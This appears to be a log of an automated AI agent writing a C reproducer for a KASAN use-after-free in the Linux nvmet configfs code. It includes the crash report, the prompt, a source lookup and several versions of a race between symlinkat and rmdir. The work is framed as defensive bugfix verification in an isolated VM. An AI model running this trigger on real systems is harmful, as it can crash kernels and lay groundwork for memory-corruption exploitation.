Excellent! The preliminary probing has paid off. I've successfully confirmed that `configfs` is mounted, the `nvmet` subsystem is present and functional, and importantly, I can create and tear down ports as expected within this environment. This validation is crucial because my proposed race condition relies precisely on these capabilities.

My chosen strategy involves a classic race between `symlinkat` and `rmdir`. Specifically, I'm targeting the `/sys/kernel/config/nvmet/ports/1/subsystems/` directory. The `symlinkat` operation will attempt to create a symlink named `subsys1` within this directory, pointing to `../../../subsystems/subsys1`. Concurrently, the `rmdir` operation will try to remove the parent directory, `/sys/kernel/config/nvmet/ports/1`. The core of the exploit lies in the race between the `configfs_symlink` and `configfs_rmdir` kernel operations, where a successful symlink creation while the parent directory is being removed can lead to a use-after-free vulnerability.

Now, the feedback confirms my approach: "The capability probe passed successfully. The environment is ready, configfs is mounted, the nvmet subsystem is available, and we can create and remove ports. Please proceed to generate the full reproducer in the next iteration." This is precisely what I was aiming for – a confirmation that the groundwork is laid and the strategy is sound.

Therefore, my next step is straightforward: to package the C code I've developed for this strategy into the final reproducer format. I'll use the exact C code that has been refined during the strategy development phase.

Let me quickly re-verify the C code itself to ensure everything is in order:

```c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
// I'll add time.h for robustness, though race_toolkit.h might already include it.
#include <time.h> 

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    // The loop continues until the 'stop' flag is set.
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink using symlinkat.
        // The target is relative, resolving to /sys/kernel/config/nvmet/subsystems/subsys1.
        // The destination is the symlink itself within the ports directory.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            // If the symlink creation was successful, immediately try to unlink it.
            // This is part of the race cleanup and helps in repeatedly triggering the race.
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    // This thread's loop also runs until the 'stop' flag is set.
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // First, ensure the directory exists, as it might have been removed by another thread
        // or in a previous iteration.
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        // Then, attempt to remove the directory. This is the core of the rmdir part of the race.
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    // Essential setup for unbuffered I/O, common in race exploit toolkits.
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and the nvmet module is loaded.
    // Redirecting stderr to /dev/null to keep the output clean.
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Pre-create the necessary directory structure for nvmet.
    // This is important to ensure the race condition can occur within the intended path.
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    // Declare thread handles for both symlink and rmdir threads.
    pthread_t t1[4], t2[4];
    
    // Launch multiple threads of each type to increase the probability of triggering the race.
    // Four threads of each type should provide a good degree of concurrency.
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Start a timer. The race will be run for a defined duration (5 seconds).
    // Using TIMER_START and TIMER_NOT_EXPIRED implies a timing mechanism is available
    // via race_toolkit.h.
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        // A small sleep to yield the CPU and allow threads to run.
        usleep(100000);
    }
    
    // Signal all threads to stop by setting the 'stop' flag.
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    // Wait for all created threads to finish their execution.
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    // Standard successful exit code.
    return 0;
}
```

Regarding potential omissions: I briefly considered if `<time.h>` is explicitly needed for `TIMER_START`. While `race_toolkit.h` likely includes it, adding it directly is a safe practice to ensure portability and avoid any unexpected linkage issues, though I'll trust the toolkit's inclusion for now. My primary concern was to ensure the core logic was sound and the environment setup was correct, which has been validated. The prompt also states: "Please proceed to generate the full reproducer in the next iteration." This implies I have reached the final stage of generation.

Therefore, I am confident that this C code, as presented, is the complete reproducer that aligns with the successful capability probe and the chosen race strategy.


189/3 2026/08/26 18:27 action merge-strategy
0m Results:
map[CurrentReproStrategy:An analysis of the feedback confirms that the environment is correctly set up and the capability probe passed successfully. The `nvmet` subsystem is available, `configfs` is mounted, and we can create and remove ports. 

The strategy remains the same: we will set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port (`/sys/kernel/config/nvmet/ports/1/subsystems/subsys1`).
2. Thread B continuously creates and removes the parent `ports/1` directory.

This will trigger the use-after-free within `nvmet_port_subsys_allow_link` when `configfs_symlink` accesses the parent `config_item` after it has been freed by the concurrent `rmdir`.

Here is the complete C reproducer.

```c
// rep.c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <time.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation.
        // The port name must be a valid 16-bit unsigned integer (e.g., "1").
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```]

190/3 2026/08/26 18:27 agent repro-generator
5m Model:
deep-reasoning

Results:
map[IsProbe:false RawCandidateReproC:#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <time.h>
#include <errno.h>
#include <string.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        if (syscall(SYS_symlinkat, "/sys/kernel/config/nvmet/subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    struct stat st;
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to create subsys1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created subsys1 successfully.\n");

    pthread_t t1[4], t2[4];
    
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    printf("[+] Done.\n");
    return 0;
}
]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link

==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Strategy: An analysis of the feedback confirms that the environment is correctly set up and the capability probe passed successfully. The `nvmet` subsystem is available, `configfs` is mounted, and we can create and remove ports. 

The strategy remains the same: we will set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port (`/sys/kernel/config/nvmet/ports/1/subsystems/subsys1`).
2. Thread B continuously creates and removes the parent `ports/1` directory.

This will trigger the use-after-free within `nvmet_port_subsys_allow_link` when `configfs_symlink` accesses the parent `config_item` after it has been freed by the concurrent `rmdir`.

Here is the complete C reproducer.

```c
// rep.c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <time.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation.
        // The port name must be a valid 16-bit unsigned integer (e.g., "1").
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```


Previous Reproducer Attempt:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/1", 0777) < 0) {
        printf("[-] Failed to create port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created port 1 successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/1") < 0) {
        printf("[-] Failed to remove port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed port 1 successfully.\n");

    return 0;
}




Execution Results & Debugging Feedback:
The capability probe passed successfully. The environment is ready, configfs is mounted, the nvmet subsystem is available, and we can create and remove ports. Please proceed to generate the full reproducer in the next iteration.

191/4 2026/08/26 18:27 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8769
							output: 35
							thoughts: 320
						

Thoughts:
**My Thought Process: Reproducing the `nvmet_port_subsys_allow_link` Use-After-Free**

My immediate goal is to craft a C reproducer for a KASAN-reported slab-use-after-free issue within the `nvmet_port_subsys_allow_link` function. I've dissected the provided bug description and my understanding of the execution flow is as follows:

1.  **The Triggering Event:** The root cause of the use-after-free appears to be the `nvmet_port_subsys_allow_link` function being invoked.

2.  **The Entry Point:** From what I can gather, `nvmet_port_subsys_allow_link` is ultimately called via the `configfs_symlink` operation. This is a key piece of information; it tells me the user-space interaction will involve creating a symbolic link within the configfs filesystem.

3.  **The Freeing Operation:** The object that is being used after it's freed originates from a call sequence that ultimately leads to `configfs_rmdir`. This, in turn, calls `config_item_release`, which performs the `kfree` on the object in question. This is the critical point of deallocation.

4.  **The Allocation:** The object that gets freed by `config_item_release` was initially allocated during the `nvmet_ports_make` function. This function, in turn, uses `configfs_mkdir` to create a directory. This establishes the lifecycle of the object: allocated by `configfs_mkdir` within `nvmet_ports_make`, and freed by `kfree` within `config_item_release` after `configfs_rmdir`.

5.  **The Object in Question:** The specific object being allocated and subsequently freed is a `struct nvmet_port`. This struct is fundamental to the NVM Express target's port management.

6.  **Context of Allocation:** `nvmet_ports_make`'s primary role is to create a new port directory under the path `/sys/kernel/config/nvmet/ports/`. So, when I see a new port being created, this `struct nvmet_port` is being instantiated and associated with that directory.

7.  **The Use-After-Free Scenario:** The actual use-after-free occurs when `nvmet_port_subsys_allow_link` is invoked. This function acts as the `allow_link` callback for the `subsystems` group that is associated with a specific port.

8.  **Refining the Trigger:** Now, I'm connecting the dots more precisely. `nvmet_port_subsys_allow_link` isn't just called generally; it's specifically triggered when a symbolic link is created *inside* the `/sys/kernel/config/nvmet/ports/<port_id>/subsystems/` directory. This symlink, crucially, points to an actual NVM Express subsystem, such as `/sys/kernel/config/nvmet/subsystems/subsys1`.

9.  **Next Steps:** My immediate next action is to delve into the implementation of `nvmet_port_subsys_allow_link` itself. I need to understand how it interacts with the `struct nvmet_port` and what operations it performs that would lead to accessing freed memory, given the deallocation path I've outlined. This will be the key to constructing the sequence of user-space operations that reliably triggers this bug.


192/4 2026/08/26 18:27 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:nvmet_port_subsys_allow_link]

Results:
map[SourceCode:1056:	static int nvmet_port_subsys_allow_link(struct config_item *parent,
1057:			struct config_item *target)
1058:	{
1059:		struct nvmet_port *port = to_nvmet_port(parent->ci_parent);
1060:		struct nvmet_subsys *subsys;
1061:		struct nvmet_subsys_link *link, *p;
1062:		int ret;
1063:	
1064:		if (target->ci_type != &nvmet_subsys_type) {
1065:			pr_err("can only link subsystems into the subsystems dir.!\n");
1066:			return -EINVAL;
1067:		}
1068:		subsys = to_subsys(target);
1069:		link = kmalloc_obj(*link);
1070:		if (!link)
1071:			return -ENOMEM;
1072:		link->subsys = subsys;
1073:	
1074:		down_write(&nvmet_config_sem);
1075:		ret = -EEXIST;
1076:		list_for_each_entry(p, &port->subsystems, entry) {
1077:			if (p->subsys == subsys)
1078:				goto out_free_link;
1079:		}
1080:	
1081:		if (list_empty(&port->subsystems)) {
1082:			ret = nvmet_enable_port(port);
1083:			if (ret)
1084:				goto out_free_link;
1085:		}
1086:	
1087:		list_add_tail(&link->entry, &port->subsystems);
1088:		nvmet_port_disc_changed(port, subsys);
1089:	
1090:		up_write(&nvmet_config_sem);
1091:		return 0;
1092:	
1093:	out_free_link:
1094:		up_write(&nvmet_config_sem);
1095:		kfree(link);
1096:		return ret;
1097:	}
 SourceFile:drivers/nvme/target/configfs.c]

193/4 2026/08/26 18:27 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9746
							output: 29
							thoughts: 150
						

Thoughts:
**My Thought Process Regarding the nvme Target ConfigFS Crash**

So, I'm looking at this crash dump, and it's pointing to `drivers/nvme/target/configfs.c:1059`, specifically this line: `struct nvmet_port *port = to_nvmet_port(parent->ci_parent);`. My immediate thought is, "Okay, what exactly is `parent` here?" The context tells me `parent` represents the `subsystems` directory within a specific nvmet port in the configfs hierarchy.

Then, I focus on `parent->ci_parent`. This field, as I understand it, points to the parent directory of `parent`, which in this case should be the actual nvmet port directory itself. The critical question that arises is: what happens if this port directory gets removed? Could it be that `parent->ci_parent` is being dereferenced after the port directory it points to has already been freed? That's the core of the potential race condition I'm suspecting.

My intuition suggests that if `parent` (the `subsystems` directory inode) is still alive and valid, its parent (`parent->ci_parent`, the port directory inode) *should* also be alive. The exception to this is if there's a flaw in how configfs handles these relationships, particularly if `parent->ci_parent` is being accessed without the necessary synchronization mechanisms – meaning, either missing locks or inadequate reference counting.

